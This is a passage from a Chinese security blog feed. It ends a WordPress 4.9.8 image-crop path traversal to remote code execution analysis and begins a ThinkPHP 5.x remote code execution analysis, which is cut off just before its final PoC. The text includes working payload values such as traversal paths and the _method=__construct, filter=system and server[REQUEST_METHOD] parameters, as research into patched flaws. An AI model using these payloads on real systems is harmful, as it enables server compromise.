&lt;p&gt;在进入&lt;code&gt;wp_crop_image()&lt;/code&gt;时还需要传递裁剪后的图片宽度和高度信息，所以还需要增加c&lt;code&gt;ropDetails[dst_width]&lt;/code&gt;和&lt;code&gt;cropDetails[dst_height]&lt;/code&gt;两个参数。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;wp_crop_image()&lt;/code&gt;方法如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221183701.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;从数据库取出&lt;code&gt;_wp_attached_file&lt;/code&gt;后并没有做检查，形如&lt;code&gt;2019/02/admin.jpeg?../../1.png&lt;/code&gt;的文件无法被找到，于是进入&lt;code&gt;_load_image_to_edit_path()&lt;/code&gt;通过&lt;code&gt;wp_get_attachment_url()&lt;/code&gt;方法生成本地&lt;code&gt;url&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221184123.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后实例化一个&lt;code&gt;WP_Image_Editor&lt;/code&gt;用来裁剪并生成裁剪后的图片，之后调用&lt;code&gt;wp_mkdir_p()&lt;/code&gt;方法创建文件夹，含有&lt;code&gt;../&lt;/code&gt;的参数进入该方法后同样没有经过过滤，最终执行到&lt;code&gt;mkdir&lt;/code&gt;创建文件夹&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;mkdir( $target, $dir_perms, true)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此时的&lt;code&gt;target&lt;/code&gt;值是这个样子，穿越目录后在&lt;code&gt;2019&lt;/code&gt;目录下创建&lt;code&gt;1&lt;/code&gt;文件夹，并生成&lt;code&gt;cropped-1.png&lt;/code&gt;文件&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;D:\phpStudy\PHPTutorial\WWW\wordpress-4.9.8/wp-content/uploads/2019/02/admin.jpeg?../../../1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意：此处有一个坑，我们观察上面的&lt;code&gt;url&lt;/code&gt;，在&lt;code&gt;mkdir&lt;/code&gt;的时候会把&lt;code&gt;admin.jpeg?../&lt;/code&gt;作为一个目录，而在Windows下的目录不能出现&lt;code&gt;?&lt;/code&gt;，所以上面的payload在Windows下无法成功，经过测试，&lt;code&gt;#&lt;/code&gt;可以存在于Windows目录，因此在Windows下的payload如下所示：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;meta_input[_wp_attached_file]=2019/02/admin.jpeg#../../../1/1.png
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;写入数据库中即为&lt;code&gt;2019/02/admin.jpeg#../../../1/1.png&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;最终构造第二个数据包触发裁剪图片并保存：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221182857.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最终在指定目录下生成裁剪后的图片文件，以&lt;code&gt;cropped-&lt;/code&gt;作为前缀&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221232341.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这样子我们可以制作一张图片马，在主题文件夹下生成，或者指定任意目录，被&lt;code&gt;include&lt;/code&gt;后即可造成代码执行。&lt;/p&gt;

&lt;h3 id=&#34;0x04-lfi-to-rce&#34;&gt;0x04 LFI to RCE&lt;/h3&gt;

&lt;p&gt;到目前为止我们可以把含有恶意代码的图片写入任意目录，下一步就是想办法包含这个文件。&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;Wordpress&lt;/code&gt;中，访问一篇文章或者任意页面，都需要从数据库取出相应的模板文件位置并由浏览器渲染出来。注意到上面截图，&lt;code&gt;wp_postmeta&lt;/code&gt;数据库中有个字段名称为&lt;code&gt;_wp_page_template&lt;/code&gt;，这个字段用来保存加载页面所需要的模板文件，默认为&lt;code&gt;default&lt;/code&gt;，&lt;code&gt;wordpress&lt;/code&gt;程序根据需要加载的页面类型从当前主题下选择需要的模板，例如访问一篇单独的文章，这个过程会拼凑出文件名并检查主题下的这些文件是否存在，如果存在则包含进来，相关方法是&lt;code&gt;locate_template()&lt;/code&gt;和&lt;code&gt;load_template()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190225145624.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190225145650.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;搜索发现实现从数据库取出&lt;code&gt;_wp_page_template&lt;/code&gt;变量的方法是&lt;code&gt;get_page_template_slug()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190225150445.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接着发现调用&lt;code&gt;get_page_template_slug()&lt;/code&gt;方法的&lt;code&gt;get_single_template()&lt;/code&gt;方法，其最后返回的是查找模板函数，即&lt;code&gt;get_query_template()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190225150545.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;而正是在&lt;code&gt;get_query_template()&lt;/code&gt;中，执行了定位模板文件的操作&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190225150712.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;至此一条利用链就串起来了，利用第一个漏洞覆盖数据库中的&lt;code&gt;_wp_page_template&lt;/code&gt;值，修改为包含恶意代码的图片所在路径，在页面加载的过程中&lt;code&gt;wordpress&lt;/code&gt;查询并定位该文件，包含后造成代码执行。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Wordpress&lt;/code&gt;中处理图片相关的库有两个，分别是&lt;code&gt;Imagick&lt;/code&gt;和&lt;code&gt;GD&lt;/code&gt;，优先选择使用&lt;code&gt;Imagick&lt;/code&gt;，而&lt;code&gt;Imagick&lt;/code&gt;处理图片时不处理&lt;code&gt;EXIF&lt;/code&gt;信息，因此可以把恶意代码设置在&lt;code&gt;EXIF&lt;/code&gt;部分，经过裁剪后会保留&lt;code&gt;EXIF&lt;/code&gt;信息，此时再进行包含就能造成代码执行。&lt;/p&gt;

&lt;p&gt;在选择相应图片库处理图片时，如果此时加载的是&lt;code&gt;Imagick&lt;/code&gt;，在&lt;code&gt;$editor-&amp;gt;load()&lt;/code&gt;时会创建&lt;code&gt;Imagick()&lt;/code&gt;对象，然后尝试读取远程图片地址。此时需要注意的是，高版本的&lt;code&gt;Imagick&lt;/code&gt;库不支持远程链接，测试&lt;code&gt;Imagick-6.9.7&lt;/code&gt;版本正常创建并写入图片&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$implementation = _wp_image_editor_choose( $args );

if ( $implementation ) {
    $editor = new $implementation( $path );
    $loaded = $editor-&amp;gt;load();

    if ( is_wp_error( $loaded ) )
        return $loaded;

    return $editor;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$this-&amp;gt;image = new Imagick();
//...
$this-&amp;gt;image-&amp;gt;readImage( $filename );
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;复现：&lt;/p&gt;

&lt;p&gt;1.上传图片，更新描述信息并保存，抓包修改&lt;code&gt;meta_input[_wp_attached_file]&lt;/code&gt;，目录穿越至当前主题文件夹&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190226172313.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;2.裁剪图片并在主题文件夹下生成裁剪后图片&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190226173532.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;3.上传一个附件，更新描述信息并抓包，修改&lt;code&gt;meta_input[_wp_page_template]&lt;/code&gt;，加载模板的时候自动包含该图片，代码执行成功&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190226171510.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x05-关于mkdir&#34;&gt;0x05 关于mkdir&lt;/h3&gt;

&lt;p&gt;在漏洞调试过程中最后一步&lt;code&gt;$editor-&amp;gt;save( $dst_file )&lt;/code&gt;过程，最终执行到的是&lt;code&gt;wp_mkdir_p()&lt;/code&gt;方法中的&lt;code&gt;mkdir&lt;/code&gt;函数&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;mkdir( $target, $dir_perms, true)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;关于&lt;code&gt;mkdir()&lt;/code&gt;函数，需要注意的是&lt;code&gt;mode&lt;/code&gt;参数和&lt;code&gt;recursive&lt;/code&gt;参数，分别代表了创建的文件夹权限和是否递归创建，这两个参数的不同导致在&lt;code&gt;Linux&lt;/code&gt;平台和&lt;code&gt;Windows&lt;/code&gt;平台的结果不一致&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222093526.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在上面漏洞链中，进入最终&lt;code&gt;mkdir()&lt;/code&gt;的参数是这样的&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;mkdir( &#39;D:\phpStudy\PHPTutorial\WWW\wordpress-4.9.8/wp-content/uploads/2019/02/admin.jpeg?../../../1&#39;, 511, true)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222094608.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;单独把&lt;code&gt;path&lt;/code&gt;拿出来测试，在第三个参数&lt;code&gt;recursive&lt;/code&gt;分别为&lt;code&gt;true&lt;/code&gt;和&lt;code&gt;false&lt;/code&gt;时，测试结果如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222095108.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里导致结果不一致是因为Windows下文件夹对&lt;code&gt;?&lt;/code&gt;的处理，当指定递归创建模式时，系统会尝试创建名为&lt;code&gt;admin.jpeg?..&lt;/code&gt;的目录，又因为Windows下的目录不能含有&lt;code&gt;?&lt;/code&gt;，因此&lt;code&gt;recursive=true&lt;/code&gt;时是创建失败的，导致&lt;code&gt;wordpress&lt;/code&gt;最终生成图片也无法成功。而在Linux下可以没有&lt;code&gt;?&lt;/code&gt;的限制，&lt;code&gt;payload&lt;/code&gt;可以成功触发。&lt;/p&gt;

&lt;p&gt;要想在&lt;code&gt;Windows&lt;/code&gt;下利用漏洞，一个技巧是利用&lt;code&gt;#&lt;/code&gt;字符，&lt;code&gt;#&lt;/code&gt;在&lt;code&gt;url&lt;/code&gt;中表示为网页位置指定标识符，只在浏览器中起作用，对解析资源时是忽略后面的字符的，因此在&lt;code&gt;wordpress&lt;/code&gt;中两个方式尝试获取图片资源时同样会出现不一致，导致漏洞产生。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;更新：&lt;/strong&gt;此处是否检查&lt;code&gt;?&lt;/code&gt;等不合法字符与&lt;code&gt;php&lt;/code&gt;的线程安全模式相关，具体如下。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&#34;center&#34;&gt;Windows&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;&lt;strong&gt;thread-safe&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;&lt;strong&gt;non-thread safe&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&#34;center&#34;&gt;&lt;strong&gt;recursive=false&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;fail (No error)&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;&lt;strong&gt;success&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&#34;center&#34;&gt;&lt;strong&gt;recursive=true&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;fail (Invalid path)&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;fail (Invalid path)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;关于这块的详细分析可以参考 &lt;a href=&#34;https://kylingit.com/blog/%E5%AF%B9php%E4%B8%AD%E7%9A%84mkdir%E5%87%BD%E6%95%B0%E7%9A%84%E7%A0%94%E7%A9%B6/&#34;&gt;对PHP中的mkdir()函数的研究&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x06-poc&#34;&gt;0x06 PoC&lt;/h3&gt;

&lt;p&gt;见上面分析&lt;/p&gt;

&lt;h3 id=&#34;0x07-总结&#34;&gt;0x07 总结&lt;/h3&gt;

&lt;p&gt;在分析过程中踩了不少坑，每一个都浪费了不少时间，简单记录避免再次踩中。主要的有这么几个：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Wordpress&lt;/code&gt;自动更新；&lt;/li&gt;
&lt;li&gt;需要手动修改触发裁剪函数的&lt;code&gt;action&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mkdir&lt;/code&gt;创建文件夹时特殊字符的问题；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Imagick&lt;/code&gt;读取远程文件的问题；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这个漏洞主要成因在于我们可以通过参数传递任意值覆盖数据库中的字段，从而引入&lt;code&gt;../&lt;/code&gt;构成目录穿越，在裁剪图片后保存文件时并没有对文件目录做检查，造成目录穿越漏洞，最终可以写入恶意图片被包含或者通过&lt;code&gt;Imagick&lt;/code&gt;漏洞触发远程代码执行，利用链挺巧妙，值得学习。&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/&#34;&gt;https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/WordPress/WordPress/commit/43bdb0e193955145a5ab1137890bb798bce5f0d2#diff-c3d5c535db5622f3b0242411ee5f9dfd&#34;&gt;https://github.com/WordPress/WordPress/commit/43bdb0e193955145a5ab1137890bb798bce5f0d2#diff-c3d5c535db5622f3b0242411ee5f9dfd&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析</title>
      <link>https://kylingit.com/blog/thinkphp-5.0.x-5.0.235.1.x5.2.x-%E5%85%A8%E7%89%88%E6%9C%AC%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Sat, 12 Jan 2019 14:18:20 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/thinkphp-5.0.x-5.0.235.1.x5.2.x-%E5%85%A8%E7%89%88%E6%9C%AC%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;1月11日，&lt;code&gt;ThinkPHP&lt;/code&gt;官方发布新版本&lt;code&gt;5.0.24&lt;/code&gt;，在1月14日和15日又接连发布两个更新，这三次更新都修复了一个安全问题，该问题可能导致远程代码执行 ，这是&lt;code&gt;ThinkPHP&lt;/code&gt;近期的第二个高危漏洞，两个漏洞均是无需登录即可远程触发，危害极大。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;公告&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&#34;https://blog.thinkphp.cn/910675&#34;&gt;https://blog.thinkphp.cn/910675&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://blog.nsfocus.net/thinkphp-5-0-5-0-23-rce/&#34;&gt;http://blog.nsfocus.net/thinkphp-5-0-5-0-23-rce/&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x02-影响版本&#34;&gt;0x02 影响版本&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;ThinkPHP 5.0.x ~ 5.0.23&lt;/p&gt;

&lt;p&gt;ThinkPHP 5.1.x ~ 5.1.31&lt;/p&gt;

&lt;p&gt;ThinkPHP 5.2.0beta1&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;0x03-环境搭建&#34;&gt;0x03 环境搭建&lt;/h3&gt;

&lt;p&gt;选择&lt;code&gt;5.0.22&lt;/code&gt;完整版和&lt;code&gt;5.1.31&lt;/code&gt;版本进行复现分析&lt;/p&gt;

&lt;h3 id=&#34;0x04-漏洞分析&#34;&gt;0x04 漏洞分析&lt;/h3&gt;

&lt;h4 id=&#34;一-5-0-x-版本&#34;&gt;一、&lt;code&gt;5.0.x&lt;/code&gt;版本&lt;/h4&gt;

&lt;p&gt;我们知道可以通过&lt;code&gt;http://127.0.0.1/public/index.php?s=index&lt;/code&gt;的方式通过&lt;code&gt;s&lt;/code&gt;参数传递具体的路由，具体调用如下&lt;/p&gt;

&lt;p&gt;&lt;code&gt;index.php&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;require __DIR__ . &#39;/../thinkphp/start.php&#39;;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;start.php&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;App::run()-&amp;gt;send();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;跟进&lt;code&gt;run()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112152929.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到在进入&lt;code&gt;self::exec($dispatch, $config)&lt;/code&gt;前，&lt;code&gt;$dispatch&lt;/code&gt;的值是通过&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$dispatch = self::routeCheck($request, $config)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;设置的，这时候如果&lt;code&gt;debug&lt;/code&gt;模式开启，就会调用&lt;code&gt;$request-&amp;gt;param()&lt;/code&gt;，也就是下面&lt;code&gt;exec()&lt;/code&gt;中会调用到的函数，经过下面分析就能发现，在&lt;code&gt;debug&lt;/code&gt;模式开启时就能直接触发漏洞，原理是一样的。&lt;/p&gt;

&lt;p&gt;进入&lt;code&gt;exec()&lt;/code&gt;方法看一下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112153147.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;exec()&lt;/code&gt;方法根据&lt;code&gt;$dispatch&lt;/code&gt;的值选择进入不同的分支，当进入&lt;code&gt;method&lt;/code&gt;分支时，调用&lt;code&gt;Request::instance()-&amp;gt;param()&lt;/code&gt;方法，跟进&lt;code&gt;param()&lt;/code&gt;，看到调用了&lt;code&gt;Request&lt;/code&gt;类的&lt;code&gt;method()&lt;/code&gt;方法 ：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190114120946.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;其中&lt;code&gt;method()&lt;/code&gt;方法就是补丁修改的位置，在这个方法中，如果&lt;code&gt;method&lt;/code&gt;等于&lt;code&gt;true&lt;/code&gt;，则调用&lt;code&gt;$this-&amp;gt;server()&lt;/code&gt;方法：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112153449.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;server()&lt;/code&gt;方法中调用&lt;code&gt;$this-&amp;gt;input&lt;/code&gt;方法：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112154611.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接着调用了&lt;code&gt;filterValue()&lt;/code&gt;方法：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112154923.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;而&lt;code&gt;filterValue()&lt;/code&gt;则调用了&lt;code&gt;call_user_func()&lt;/code&gt;函数，如果两个参数均可控，则会造成命令执行：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112175411.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;此时的调用栈如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190114104035.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;回头看一下&lt;code&gt;$filter&lt;/code&gt;和&lt;code&gt;$value&lt;/code&gt;参数从哪里来：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$filter&lt;/code&gt;：&lt;/li&gt;
&lt;/ul&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$filter = $this-&amp;gt;getFilter($filter, $default);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在&lt;code&gt;getFilter()&lt;/code&gt;中设置了&lt;code&gt;$filter&lt;/code&gt;值：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$filter = $filter ?: $this-&amp;gt;filter;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;也即由&lt;code&gt;$this-&amp;gt;filter&lt;/code&gt;决定&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$value&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;$value&lt;/code&gt;为第一个参数&lt;code&gt;$data&lt;/code&gt;，即为传入数组的值，由&lt;code&gt;$this-&amp;gt;server&lt;/code&gt;决定&lt;/p&gt;

&lt;p&gt;所以最终的问题就是如何从请求中传入&lt;code&gt;$this-&amp;gt;filter&lt;/code&gt;和&lt;code&gt;$this-&amp;gt;server&lt;/code&gt;这两个值，构造&lt;code&gt;call_user_func()&lt;/code&gt;的参数触发漏洞。&lt;/p&gt;

&lt;p&gt;回到最开始的&lt;code&gt;run()&lt;/code&gt;方法，其中：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$dispatch = self::routeCheck($request, $config);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;$dispatch&lt;/code&gt; 的值通过&lt;code&gt;routeCheck()&lt;/code&gt;方法设置，跟进&lt;code&gt;routeCheck()&lt;/code&gt;方法：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112155407.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用了&lt;code&gt;check()&lt;/code&gt;方法：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112155704.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;check()&lt;/code&gt;方法中根据不同的&lt;code&gt;$rules&lt;/code&gt;值返回不同的结果，而&lt;code&gt;$rules&lt;/code&gt;的值由&lt;code&gt;$method&lt;/code&gt;决定，&lt;code&gt;$method&lt;/code&gt;则由&lt;code&gt;$request-&amp;gt;method()&lt;/code&gt;返回值取小写获得，所以再次回到&lt;code&gt;$request-&amp;gt;method()&lt;/code&gt;方法，这次没有参数&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112153449.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如果&lt;code&gt;$method&lt;/code&gt;不等于&lt;code&gt;true&lt;/code&gt;，则会取配置选项&lt;code&gt;var_method&lt;/code&gt;，该值为&lt;code&gt;_method&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112153759.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后调用&lt;code&gt;$this-&amp;gt;{$this-&amp;gt;method}($_POST);&lt;/code&gt;语句，此时假设我们控制了&lt;code&gt;$method&lt;/code&gt;的值，也就意味着可以调用&lt;code&gt;Request&lt;/code&gt;类的任意方法，而当调用构造方法&lt;code&gt;__construct()&lt;/code&gt;时，就可以覆盖&lt;code&gt;Request&lt;/code&gt;类的任意成员变量，也就是上面分析的&lt;code&gt;$this-&amp;gt;filter&lt;/code&gt;和&lt;code&gt;$this-&amp;gt;server&lt;/code&gt;两个值，同时也可以覆盖&lt;code&gt;$this-&amp;gt;method&lt;/code&gt;，直接指定了&lt;code&gt;check()&lt;/code&gt;方法中的&lt;code&gt;$method&lt;/code&gt;值。&lt;/p&gt;

&lt;h5 id=&#34;1-构造-poc&#34;&gt;1. 构造&lt;code&gt;PoC&lt;/code&gt;&lt;/h5&gt;

&lt;p&gt;首先要主动触发&lt;code&gt;Request&lt;/code&gt;类的构造函数，通过参数&lt;code&gt;_method=__construct&lt;/code&gt;传入，进入到&lt;code&gt;__construct&lt;/code&gt;方法，该方法把参数遍历并设置值：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112163221.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;所以我们可以传入&lt;strong&gt;&lt;code&gt;filter=system&lt;/code&gt;&lt;/strong&gt;来设置&lt;code&gt;$this-&amp;gt;filter&lt;/code&gt;的值&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;此处&lt;code&gt;filter&lt;/code&gt;不是数组也可以，因为在&lt;code&gt;getFilter()&lt;/code&gt;中虽然对&lt;code&gt;filter&lt;/code&gt;是字符串的情况进行了按&lt;code&gt;,&lt;/code&gt;分割，但是传入一个值的情况下不影响最终的返回值&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;再看&lt;code&gt;$this-&amp;gt;server&lt;/code&gt;，在调用&lt;code&gt;$this-&amp;gt;server(&#39;REQUEST_METHOD&#39;)&lt;/code&gt;时指定了键值，所以通过传入&lt;code&gt;server&lt;/code&gt;数组即可&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;server[REQUEST_METHOD]=id&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;然后我们注意到上面&lt;code&gt;check()&lt;/code&gt;方法，&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;它的返回值由&lt;code&gt;$rules&lt;/code&gt;决定，而&lt;code&gt;$rules&lt;/code&gt;的值取决于键值&lt;code&gt;$method&lt;/code&gt;，当我们指定&lt;code&gt;$method&lt;/code&gt;为&lt;code&gt;get&lt;/code&gt;时，可以正确获取到路由信息，从而通过&lt;code&gt;checkRoute()&lt;/code&gt;检查，此时我们通过指定&lt;strong&gt;&lt;code&gt;method=get&lt;/code&gt;&lt;/strong&gt;覆盖&lt;code&gt;$this-&amp;gt;method&lt;/code&gt;的值即可&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112173807.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最终的&lt;code&gt;PoC&lt;/code&gt;：&lt;/p&gt;

